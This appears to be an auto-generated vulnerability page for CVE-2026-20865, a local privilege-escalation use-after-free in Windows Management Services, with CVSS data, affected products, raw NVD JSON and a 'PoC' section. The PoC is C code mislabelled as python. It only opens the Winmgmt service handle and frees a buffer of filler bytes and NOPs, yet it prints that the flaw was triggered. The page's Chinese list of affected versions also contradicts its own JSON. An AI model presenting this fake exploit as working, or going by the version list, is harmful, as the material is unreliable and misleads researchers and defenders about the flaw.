Security Vulnerability Report
中文
CVE-2026-20865 CVSS 7.8 HIGH

CVE-2026-20865

Published: 2026-01-13 18:16:16
Last Modified: 2026-01-15 15:40:07

Description

Use after free in Windows Management Services allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 1809及更早版本
Windows Server 2019及更早版本
Windows 11 21H2及更早版本
Windows Server 2022及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-20865 PoC - Windows Management Services Use-After-Free // This is a conceptual proof-of-concept for educational purposes only #include <windows.h> #include <stdio.h> // Trigger the use-after-free condition in Windows Management Services BOOL TriggerUAF() { HANDLE hService = NULL; SC_HANDLE scManager = NULL; // Open Service Control Manager scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if (!scManager) { printf("[-] Failed to open Service Control Manager\n"); return FALSE; } // Open Windows Management service hService = OpenService(scManager, "Winmgmt", SERVICE_ALL_ACCESS); if (!hService) { printf("[-] Failed to open Winmgmt service\n"); CloseServiceHandle(scManager); return FALSE; } // Trigger the vulnerable code path // This would involve specific WMI operations that trigger the UAF printf("[*] Triggering UAF condition...\n"); // Memory spray to occupy freed memory char* spray_buffer = (char*)malloc(0x1000); memset(spray_buffer, 0x41, 0x1000); // Control freed memory with shellcode // Shellcode for privilege escalation to SYSTEM unsigned char shellcode[] = { 0x90, 0x90, 0x90 // NOP sled // ... actual shellcode would go here }; memcpy(spray_buffer, shellcode, sizeof(shellcode)); // Trigger reallocation of freed memory printf("[*] Exploiting freed memory region...\n"); free(spray_buffer); CloseServiceHandle(hService); CloseServiceHandle(scManager); return TRUE; } int main() { printf("[*] CVE-2026-20865 PoC\n"); printf("[*] Windows Management Services Use-After-Free\n"); if (TriggerUAF()) { printf("[+] UAF condition triggered\n"); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20865", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:15.797", "lastModified": "2026-01-15T15:40:06.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows Management Services allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Uso después de liberar en los Servicios de administración de Windows permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20865", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}